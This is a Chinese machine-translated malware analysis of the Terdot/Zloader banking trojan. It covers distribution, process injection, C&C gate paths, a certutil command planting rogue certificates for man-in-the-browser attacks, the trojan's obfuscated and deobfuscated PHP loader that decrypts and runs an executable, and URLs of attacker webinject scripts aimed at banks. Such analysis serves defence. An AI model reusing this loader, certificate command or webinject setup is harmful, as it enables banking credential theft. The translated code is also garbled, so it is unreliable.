臭名昭著的宙斯恶意软件的源代码2011年泄露.从那时起,许多网络罪犯采用了它,并用他们自己的想法进行扩充。最近,在开发套件提供的有效载荷中,我们经常发现Terdot。A / Zloader-一个安装在受害者机器上的基于zeu的恶意软件的下载程序。
其有效载荷与这文章,并引用了Sphinx这个名字。然而,在咨询了其他研究人员后(特别感谢马修台面),我们已经证明作为狮身人面像出售的机器人是非常不同的(样本).因为有许多关于命名的困惑,我们决定坚持命名Terdot Zloader/Zbot。
在这篇文章中,我们将看到这个恶意软件的特性和内部。正如我们将看到的,被丢弃的包不仅包括恶意文件,还包括用于恶意目的的合法应用程序。
分析示例
d45b8a20a991acd01d2ff63735fc1adf-原始可执行文件#1
950368 afb934fd3fd5b2d4e6704b757b-原始可执行文件#2
fca092aca679edd9564d00e9640f939d-原始可执行文件#3
- ae1d1f4597f76912d7bd9962b96eecbb加载程序(打开)
- 268年fd83403da27a80ab1a3cf9ac45b67- payload.dll(注入资源管理器)
- 6 c34779503414210378371d250a3a1af- client32.dll (Zbot下载并注入msiexec,到浏览器)
- 268年fd83403da27a80ab1a3cf9ac45b67- payload.dll(注入资源管理器)
F9373DC232028DA52AD33B017E33BBD3-原始可执行文件#4
分布
大部分分析样本是从SundownEK-在此详细介绍一些活动:2016年12月28日,2017年1月6日,2017年1月18日.但是,我们也遇到过这样的情况,当Terdot。A / Zloaderwas dropped by the malicious email attachment.
行为分析
在运行样例之后,我们可以看到它部署资源管理器,然后终止。很容易猜测,它在那里注入了一些恶意模块。
如果我们将调试器附加到资源管理器进程,我们可以看到注入的shellcode,以及新的pe文件(payload.dll)。这个zloader的典型典型的有趣和不寻常的事情是,DLL不会在内存页面的开头开始,但在shellcode之后:
如果我们有一个互联网连接,Zloader将加载第二阶段(主机器人)并将其注入msiexec.exe。
注入模块信标到CnC,并下载其他模块。观察到的门的模式:
/ FE8hVs3 gs98h.php / bdk / gate.php
通信加密:
CnC响应一个新的PE文件-恶意软件的模块:(client32.dll).下载器在内存中解密它,并进一步注入:一段时间后,我们可以看到资源管理器终止和另一个程序正在部署:msiexec.删除初始的可执行恶意软件。
将调试器附加到msiexec,我们可以找到Zbot (client32.dll)植入并在进程空间中运行。
在被注入的模块内部,另一个互联网连接被建立,一些新的元素被下载和删除(包括合法的应用程序,如certutil和php-他们的作用将被进一步描述)。相同的client32.dll也注入到浏览器中。
部署在msiexec.exe内部的模块用作管理器。它在本地打开TCP套接字,并与浏览器中注入的模块通信,以监视打开的页面。
MitM
机器人的主模块下载并将一些新元素丢弃到%Temp%文件夹中。令人惊讶的是,这些文件是非恶意软件。我们可以看到certutil应用程序(0 c6b43c9602f4d5ac9dcf907103447c4)以及它的依赖项——合法的dll。
在同一个文件夹中,还存在一些外来证书(文件名,以及颁发者的名称是随机生成的)。
证书的安装是通过certutil,用于中间人攻击(在这种情况下,它们也被称为浏览器中人)。
示例—在测试期间部署的命令行:
C:\Users\tester\AppData\Local\Temp\certutil.exe" -A -n "otdarufyr" -t "C,C,C" -i "C:\Users\tester\AppData\Local\Temp\nedea. exe"。crt - d " C: \ \试验机\ AppData \漫游用户\ Mozilla Firefox \ \ Profiles \ be7dt337.default”
很容易猜测这种恶意软件的目标是网络浏览器。事实上,如果我们运行浏览器并试图通过HTTPS访问某个站点,我们将看到原始证书被恶意证书所取代。请参阅下面的示例-注意证书的主题包含有效的域-只有发行人字段可以让我们认识到,证书是不合法的:
Firefox上的Satander MitB:
浏览器声称连接是安全的,但当我们看到细节时,我们可以发现,连接是被恶意软件丢弃的假证书“保护”的:
InternetExplorer上的Facebook MitB:
浏览器不会提醒任何不一致-和用户谁不够警惕,以检查证书的细节,可能很容易被欺骗…
如果我们将调试器附加到正在运行的浏览器中,我们可以看到相同的结果client32.dll注入到那里-以及更多用于API重定向的代码。
持久性
除了%TEMP%中的内容,我们还可以看到在%APPDATA%中创建了一些随机名称的新文件夹:
有趣的事实是,其中一个包含合法的php.exe(参见VirusTotal:exe,php5ts.dll).
和一些模糊的PHP代码:
<?php$全局变量[“529399110”] =数组(''.“abs”,“f”.“ile”.“_”.“通用电气”.“t”.“_c”.'o'.“ntents”,“file_put”.“_content”.“年代”,“执行”,大小写敏感的,''.'所以'.“cke”.“t_get_sta”.“t”.'我们',“联合国”.“链接”,基于“增大化现实”技术的.“ray_m”.“erge”,大小写敏感的,“我”.“agefilter”,“一个”.“rray_sh”.“逆”,“年代”.“t”.“rpti”.“我”,“strl”.“e”.'n',“u”.“c”.“f”.“首先”,''.“ch”.“r”,“奥德”,“年代”.瑞银(ubs)的.“t”.“r”.“_re”.“地方”,“苏”.“bstr_re”.“p”.“漆”.“e”,'复制',“联合国”.“l”.'墨水');?><?php函数_2136181597($FCVPPX.){$fcfeek=数组(“\ x9b \ X94 \ X61 \ XBD \的Xaa \ XCA \ x4c \ x9a \ 86 \ XC4 \ X5A \ X99 \ XAF \ XD 4 \ X32 \ XB7 \ x9d \ XC2 \ X31 \ xa8 \命苦\ xc7 \ X23 \ XB1 \x8c \ XDB \ X22 \ X83 \ XB6 \ XDB \ X23 \ XB3 \ XB6 \ XCF \ X24 \ X88 \ X98 \ XEB \ X34 \ x9e \ x9b \ XC0 \ X2F \ XDC \ X96 \ XD 4 \ X20",“\ x9b \ x94 \ x61 \ xbd \ xaa \ xca \ x4c \ x9a \ x86 \ xc4 \ x5a \ x99 \ xaf \ xd4 \ x32 \ xb7 \ x9d \ xc2 \ x31 \ xa8 \ xbc \ xc7 \ x23 \ xb1 \ x8c \ xdb \将\ x83 \ xb6 \ xdb \ x23 \ xb3 \ xb6 \ xcf \ x24 \ x88 \ x98 \ xeb \ x34 \ x9e \ x9b \ xc0 \ x2f \ xdc \ x96 \ xd4 \ x20 \ xdd \ x81 \ xc2 \ x2c”,“qsgfh”,“ojetjlsjqbudwfx”,“oktwz”,“ekuwdqoqcadeetv”,“nxz”,'');返回$fcfeek[$FCVPPX.];}?><?php$tmgwczl=-圆形的(0+277703483.2+277703483.2+277703483.2+277703483.2+277703483.2);$erywquk=圆形的(0+845.75+845.75+845.75+845.75);$pvkdnon=_2136181597(0);而(圆形的(0+278+278+278+278)-圆形的(0+278+278+278+278))$全局变量[“529399110”][0) ($ehzfpai);$zzmnlgm=_2136181597(1);$pvkdnon=girsztc($pvkdnon,$tmgwczl);$golkdbl=_2136181597(2);$zzmnlgm=girsztc($zzmnlgm,$tmgwczl);$dtpcqwi=$全局变量[“529399110”][1) ($pvkdnon);如果($dtpcqwi){$mauwmmh=girsztc($dtpcqwi,$tmgwczl);$全局变量[“529399110”][2) ($zzmnlgm,$mauwmmh);$全局变量[“529399110”][3.) ($zzmnlgm);如果($全局变量[“529399110”][4) (_2136181597(3.),_2136181597(4)) !==假)$全局变量[“529399110”][5) ($opberbw,$zzmnlgm);而(!$全局变量[“529399110”][6) ($zzmnlgm))睡眠(圆形的(0+0.5+0.5));}函数vsqaxzw($ujxlctg,$cuvcjeb){$jedmsae=$cuvcjeb&圆形的(0+7.75+7.75+7.75+7.75);而(圆形的(0+4457)-圆形的(0+1114.25+1114.25+1114.25+1114.25))$全局变量[“529399110”][7) ($cuvcjeb,$ujxlctg,$dtpcqwi,$mauwmmh);返回($ujxlctg<<$jedmsae) | ($ujxlctg> > (圆形的(0+16+16)-$jedmsae) & ((圆形的(0+0.5+0.5)<<(圆形的(0+7.75+7.75+7.75+7.75) &$jedmsae)) -圆形的(0+0.2+0.2+0.2+0.2+0.2)));如果($全局变量[“529399110”][8) (_2136181597(5),_2136181597(6)) !==假)$全局变量[“529399110”][9) ($opberbw);}函数girsztc($ehzfpai,$tmgwczl){$fnbzhld=_2136181597(7);如果((圆形的(0+1.6666666666667.+1.6666666666667.+1.6666666666667.)+圆形的(0+405.75+405.75+405.75+405.75)) >圆形的(0+1.25+1.25+1.25+1.25)| |$全局变量[“529399110”][10) ($zzmnlgm));其他的{$全局变量[“529399110”][11) ($ehzfpai,$pvkdnon,$abwytbw);}$abwytbw=$全局变量[“529399110”][12) ($ehzfpai);而(圆形的(0+15+15+15+15+15)-圆形的(0+25+25+25))$全局变量[“529399110”][13) ($pvkdnon,$mauwmmh为();$opberbw=圆形的(0);$opberbw<$abwytbw+ +;$opberbw){$xqnsess=$全局变量[“529399110”][14) ($全局变量[“529399110”][15) ($ehzfpai{$opberbw})^($tmgwczl&圆形的(0+85+85+85)));如果((圆形的(0+366+366+366+366+366) ^圆形的(0+610+610+610) & &$全局变量[“529399110”][16) ($tmgwczl,$mauwmmh,$ehzfpai))$全局变量[“529399110”][17) ($xqnsess,$ujxlctg);$fnbzhld.=$xqnsess;如果((圆形的(0+552+552+552) ^圆形的(0+1656) & &$全局变量[“529399110”][18) ($jedmsae,$opberbw))$全局变量[“529399110”][19) ($pvkdnon,$fnbzhld,$opberbw);$tmgwczl=vsqaxzw($tmgwczl,圆形的(0+4+4))); ++$tmgwczl;}返回$fnbzhld;}?> |
(格式版本这里).
其他文件夹包含一些加密数据,例如:
有趣的是,此PHP包在AutoStart引用:
Link将部署被删除的php应用程序,并运行我们之前看到的脚本:
我们很容易怀疑这是一种持久性的方法。消除混淆的PHP代码证实了这一猜测。清理后看到相同的代码:
<?php | |
函数_get_arr_value($指数) | |
{ | |
$fcfeek=数组( | |
“\ x9b \ X94 \ X61 \ XBD \的Xaa \ XCA \ x4c \ x9a \ 86 \ XC4 \ X5A \ X99 \ XAF \ XD 4 \ X32 \ XB7 \ x9d \ XC2 \ X31 \ xa8 \命苦\ xc7 \ X23 \ XB1 \x8c \ XDB \ X22 \ X83 \ XB6 \ XDB \ X23 \ XB3 \ XB6 \ XCF \ X24 \ X88 \ X98 \ XEB \ X34 \ x9e \ x9b \ XC0 \ X2F \ XDC \ X96 \ XD 4 \ X20",/ / 0 | |
“\ x9b \ x94 \ x61 \ xbd \ xaa \ xca \ x4c \ x9a \ x86 \ xc4 \ x5a \ x99 \ xaf \ xd4 \ x32 \ xb7 \ x9d \ xc2 \ x31 \ xa8 \ xbc \ xc7 \ x23 \ xb1 \ x8c \ xdb \将\ x83 \ xb6 \ xdb \ x23 \ xb3 \ xb6 \ xcf \ x24 \ x88 \ x98 \ xeb \ x34 \ x9e \ x9b \ xc0 \ x2f \ xdc \ x96 \ xd4 \ x20 \ xdd \ x81 \ xc2 \ x2c”,/ / 1 | |
“qsgfh”,/ / 2 | |
“ojetjlsjqbudwfx”,/ / 3 | |
“oktwz”,/ / 4 | |
“ekuwdqoqcadeetv”,/ / 5 | |
“nxz”,/ / 6 | |
''/ / 7 | |
); | |
返回$fcfeek[$指数]; | |
} | |
?> | |
<?php | |
$关键= -1388517416; | |
$erywquk=3383; | |
$in_filename=_get_arr_value(0); | |
$out_filename=_get_arr_value(1); | |
$in_filename=解码($in_filename,$关键); | |
#$ in_filename =“c:\ users \ tester \ appdata \ roaming \ vyaxy \ royxh.umh” | |
$golkdbl=_get_arr_value(2); | |
$out_filename=解码($out_filename,$关键); | |
$file_content=函数($in_filename); | |
# out_filename = " C: \ \试验机\ AppData \漫游用户\ Vyaxy \ royxh.umh.exe” | |
如果($file_content){ | |
$decoded_content=解码($file_content,$关键); | |
写入($out_filename,$decoded_content); | |
执行($out_filename); | |
而(!解开($out_filename)) | |
睡眠(1); | |
} | |
函数shift_decode($瓦尔,$and_val) | |
{ | |
$k=$and_val&31; | |
返回($瓦尔<<$k) | ($瓦尔>>(32- - - - - -$k) & ((1< < (31&$k)) -1)); | |
} | |
函数解码($in_buffer,$关键) | |
{ | |
$out_buffer=''; | |
$input_len=strlen($in_buffer); | |
($指数=0;$指数<$input_len;++$指数){ | |
$decoded_char=空空的(奥德($in_buffer{$指数}) ^ ($关键&0 xff)); | |
$out_buffer.=$decoded_char; | |
$关键=shift_decode($关键,8); | |
++$关键; | |
} | |
返回$out_buffer; | |
} | |
?> |
我们可以注意到,这个文件royxh.umh包含恶意软件的加密代码。使用提供的PHP脚本,它被解密回Zloader可执行文件:
fca092aca679edd9564d00e9640f939d
删除的文件将运行并删除。
内部
Zloader -payload.dll
该元素-从初始样品中拆开并注入资源管理器- 是一个下载者 - 被确定为Terdot。A / Zloader.负责连接CnC,下载主要的恶意模块,即Zbot。
Zbot -client32.dll
第二阶段也是DLL——这一次它被注入到DLL中msiexec.exe以及浏览器:
攻击的目标
bot将自己注入到最流行的浏览器中,以钩住它们的API:
它将安装了俄语语言的电脑排除在攻击之外——但它不是像大多数恶意软件那样悄无声息地进行攻击——它非常公开地宣布了这一事实:
SQL部分
在机器人内部,我们可以找到2016年底的SQL发布的引用(参见SQLite Release 3.15.1 On 2016-11-04):
2016-11-04 12:08:49 1136863 c76576110e710dd5d69ab6bf347c65e36
这些参考资料的出现证实,这款机器人相当新,可能正在积极开发中。
我们还可以看到许多SQL查询和相关的错误消息之间的字符串:
它们用于读取和操作浏览器cookie,这些cookie以SQLite数据库的形式存储。
查询部署:
浏览器
主模块注入msiexec打开用于与注入浏览器的模块通信的本地TCP套接字。
所有浏览器与特定网站之间的通信首先要通过注入到msiexec中的client32.dll来绕过。
像许多Zbots, Terdot不仅间谍,而且还允许修改显示的内容,通过“webinject”和“WebFakes”。
要钩的站点由配置指定。其中一个示例中的目标列表显示,攻击者的主要兴趣是各种银行:https://gist.github.com/hasherezade/4db462af582c079b0ffa059b1fd2c465#file-targets-txt
webinject是通过在网站内容中添加恶意脚本(专门针对特定目标)来实现的。脚本驻留在由攻击者控制的服务器上。脚本的示例列表,由bot在测试期间获取:
https://duckduck2.online/ca/b.js | |
https://duckduck2.online/ca/d.js | |
https://duckduck2.online/ca/g.js | |
https://duckduck2.online/ca/r.js | |
https://duckduck2.online/pp/paypal.js | |
https://duckduck2.online/uk/bos.js | |
https://duckduck2.online/uk/halifax.js | |
https://duckduck2.online/uk/hsbc.js | |
https://duckduck2.online/uk/lloyds.js | |
https://duckduck2.online/uk/nationwide.js | |
https://duckduck2.online/uk/natwest.js. | |
https://duckduck2.online/uk/rbs.js | |
https://duckduck2.online/uk/santander.js | |
https://duckduck2.online/uk/barclays.js |
在被攻击的站点显示在浏览器中之前,这些java脚本被植入到站点中,同时还有一些更复杂的代码。这种植入的模板从CnC服务器下载。你可以看到一些例子这里.
结论
特尔多是另一个基于宙斯的机器人。就特征而言,它与其他银行家类似。然而,我认为它值得一些关注,因为它最近很流行。它是精心准备的,所以我们可能会怀疑它是专业人士的作品。它是积极开发、分布和维护的——因此,我们很有可能在未来看到更多。
这是一篇由Hasherezade撰写的客座文章,他是一个对InfoSec有浓厚兴趣的独立研究员和程序员。她喜欢详细介绍恶意软件,并与社区分享威胁信息。看看她的推特@hasherezade以及她的个人博客:https://hshrzd.wordpress.com.
评论